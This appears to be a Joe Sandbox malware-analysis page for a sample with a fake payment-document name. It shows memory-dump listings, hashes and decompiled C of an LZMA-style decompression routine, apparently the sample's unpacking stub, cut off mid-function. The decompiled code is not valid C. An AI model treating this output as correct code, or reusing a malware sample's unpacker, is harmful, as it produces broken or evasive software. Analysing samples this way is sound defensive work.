0x00406b69
0x00406b69
0x00000000
0x00000000
0x00406dab
0x00406dab
0x00406dab
0x00406daf
0x00000000
0x00000000
0x00406db5
0x00406db5
0x00406db8
0x00406dbb
0x00406dbe
0x00406dc0
0x00406dc0
0x00406dc0
0x00406dc3
0x00406dc6
0x00406dc9
0x00406dcc
0x00406dcf
0x00406dd2
0x00406dd3
0x00406dd5
0x00406dd5
0x00406dd5
0x00406dd8
0x00406ddb
0x00406dde
0x00406de1
0x00406de4
0x00406de8
0x00406dea
0x00406ded
0x00000000
0x00406def
0x00406def
0x00406b6c
0x00406b6c
0x00000000
0x00406b6c
0x00406ded
0x00407022
0x00407022
0x00000000
0x00000000
0x00406651
0x00407059
0x00407059
0x00000000
0x00407059
0x00406ea6
0x00406f26
0x00406eef

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 126d375e0cd8dd3c96d9f56c9c2b4ea3570e5546f357d91bfce8ff404d349699
Instruction ID: 2508fafb39113fa530b835c7ee7350b0f579aeff726ee83cf5aef614fa8a9c48
Opcode Fuzzy Hash: 126d375e0cd8dd3c96d9f56c9c2b4ea3570e5546f357d91bfce8ff404d349699
Instruction Fuzzy Hash: A3A14271E00229CBDB28CFA8C8547ADBBB1FF44305F15816AD856BB281C7786A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406DF4 Relevance: 5.2, APIs: 4, Instructions: 208
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406DF4() {
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int* _t605;
				void* _t612;

				L0:
				while(1) {
					L0:
					if( *(_t612 - 0x40) != 0) {
						 *(_t612 - 0x84) = 0x13;
						_t605 =  *((intOrPtr*)(_t612 - 0x58)) + 2;
						goto L132;
					} else {
						__eax =  *(__ebp - 0x4c);
						 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
						__ecx =  *(__ebp - 0x58);
						__eax =  *(__ebp - 0x4c) << 4;
						__eax =  *(__ebp - 0x58) + __eax + 4;
						L130:
						 *(__ebp - 0x58) = __eax;
						 *(__ebp - 0x40) = 3;
						L144:
						 *(__ebp - 0x7c) = 0x14;
						L145:
						__eax =  *(__ebp - 0x40);
						 *(__ebp - 0x50) = 1;
						 *(__ebp - 0x48) =  *(__ebp - 0x40);
						L149:
						if( *(__ebp - 0x48) <= 0) {
							__ecx =  *(__ebp - 0x40);
							__ebx =  *(__ebp - 0x50);
							0 = 1;
							__eax = 1 << __cl;
							__ebx =  *(__ebp - 0x50) - (1 << __cl);
							__eax =  *(__ebp - 0x7c);
							 *(__ebp - 0x44) = __ebx;
							while(1) {
								L140:
								 *(_t612 - 0x88) = _t533;
								while(1) {
									L1:
									_t534 =  *(_t612 - 0x88);
									if(_t534 > 0x1c) {
										break;
									}
									switch( *((intOrPtr*)(_t534 * 4 +  &M00407061))) {
										case 0:
											if( *(_t612 - 0x6c) == 0) {
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											_t534 =  *( *(_t612 - 0x70));
											if(_t534 > 0xe1) {
												goto L171;
											}
											_t538 = _t534 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t569);
											_push("true");
											_pop(_t570);
											_t608 = _t538 / _t569;
											_t540 = _t538 % _t569 & 0x000000ff;
											asm("cdq");
											_t603 = _t540 % _t570 & 0x000000ff;
											 *(_t612 - 0x3c) = _t603;
											 *(_t612 - 0x1c) = (1 << _t608) - 1;
											 *((intOrPtr*)(_t612 - 0x18)) = (1 << _t540 / _t570) - 1;
											_t611 = (0x300 << _t603 + _t608) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t612 - 0x78))) {
												L10:
												if(_t611 == 0) {
													L12:
													 *(_t612 - 0x48) =  *(_t612 - 0x48) & 0x00000000;
													 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t611 = _t611 - 1;
													 *((short*)( *(_t612 - 4) + _t611 * 2)) = 0x400;
												} while (_t611 != 0);
												goto L12;
											}
											if( *(_t612 - 4) != 0) {
												GlobalFree( *(_t612 - 4)); // executed
											}
											_t534 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t612 - 4) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t612 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t612 - 0x6c);
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 1;
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x40) =  *(_t612 - 0x40) | ( *( *(_t612 - 0x70)) & 0x000000ff) <<  *(_t612 - 0x48) << 0x00000003;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											_t45 = _t612 - 0x48;
											 *_t45 =  *(_t612 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t612 - 0x48) < 4) {
												goto L13;
											}
											_t546 =  *(_t612 - 0x40);
											if(_t546 ==  *(_t612 - 0x74)) {
												L20:
												 *(_t612 - 0x48) = 5;
												 *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) =  *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											 *(_t612 - 0x74) = _t546;
											if( *(_t612 - 8) != 0) {
												GlobalFree( *(_t612 - 8)); // executed
											}
											_t534 = GlobalAlloc(0x40,  *(_t612 - 0x40)); // executed
											 *(_t612 - 8) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t553 =  *(_t612 - 0x60) &  *(_t612 - 0x1c);
											 *(_t612 - 0x84) = 6;
											 *(_t612 - 0x4c) = _t553;
											_t605 =  *(_t612 - 4) + (( *(_t612 - 0x38) << 4) + _t553) * 2;
											goto L132;
										case 3:
											L21:
											__eflags =  *(_t612 - 0x6c);
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 3;
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											_t67 = _t612 - 0x70;
											 *_t67 =  &(( *(_t612 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
											L23:
											 *(_t612 - 0x48) =  *(_t612 - 0x48) - 1;
											if( *(_t612 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t531 =  *_t605;
											_t588 = _t531 & 0x0000ffff;
											_t564 = ( *(_t612 - 0x10) >> 0xb) * _t588;
											if( *(_t612 - 0xc) >= _t564) {
												 *(_t612 - 0x10) =  *(_t612 - 0x10) - _t564;
												 *(_t612 - 0xc) =  *(_t612 - 0xc) - _t564;
												 *(_t612 - 0x40) = 1;
												_t532 = _t531 - (_t531 >> 5);
												__eflags = _t532;
												 *_t605 = _t532;
											} else {
												 *(_t612 - 0x10) = _t564;
												 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
												 *_t605 = (0x800 - _t588 >> 5) + _t531;
											}
											if( *(_t612 - 0x10) >= 0x1000000) {
												goto L139;
											} else {
												goto L137;
											}
										case 5:
											L137:
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 5;
												goto L170;
											}
											 *(_t612 - 0x10) =  *(_t612 - 0x10) << 8;
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
											L139:
											_t533 =  *(_t612 - 0x84);
											goto L140;
										case 6:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											goto L132;
										case 8:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xa;
												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
											} else {
												__eax =  *(__ebp - 0x38);
												__ecx =  *(__ebp - 4);
												__eax =  *(__ebp - 0x38) + 0xf;
												 *(__ebp - 0x84) = 9;
												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
											}
											goto L132;
										case 9:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L90;
											}
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t259 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t259;
											0 | _t259 = _t259 + _t259 + 9;
											 *(__ebp - 0x38) = _t259 + _t259 + 9;
											goto L76;
										case 0xa:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											__eax =  *(__ebp - 0x28);
											goto L89;
										case 0xb:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L89:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L90:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L100:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t335 = __ebp - 0x70;
											 *_t335 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t335;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L102;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__ebx = __edx + 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												__ebx = __edx + 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												goto L58;
											}
										case 0x10:
											L110:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t366 = __ebp - 0x70;
											 *_t366 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t366;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L112;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											L132:
											 *(_t612 - 0x54) = _t605;
											goto L133;
										case 0x12:
											goto L0;
										case 0x13:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												goto L144;
											}
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											goto L130;
										case 0x14:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											L140:
											 *(_t612 - 0x88) = _t533;
											goto L1;
										case 0x15:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L121;
										case 0x16:
											__eax =  *(__ebp - 0x30);
											__eflags = __eax - 4;
											if(__eax >= 4) {
												_push("true");
												_pop(__eax);
											}
											__ecx =  *(__ebp - 4);
											 *(__ebp - 0x40) = 6;
											__eax = __eax << 7;
											 *(__ebp - 0x7c) = 0x19;
											 *(__ebp - 0x58) = __eax;
											goto L145;
										case 0x17:
											goto L145;
										case 0x18:
											L146:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x18;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t484 = __ebp - 0x70;
											 *_t484 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t484;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L148:
											_t487 = __ebp - 0x48;
											 *_t487 =  *(__ebp - 0x48) - 1;
											__eflags =  *_t487;
											goto L149;
										case 0x19:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												 *(__ebp - 0x2c) = __ebx;
												L120:
												_t394 = __ebp - 0x2c;
												 *_t394 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t394;
												L121:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t401 = __ebp - 0x60;
												 *_t401 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t401;
												goto L124;
											}
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L103:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L109:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L113:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														_t392 = __ebp - 0x2c;
														 *_t392 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t392;
														goto L120;
													}
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
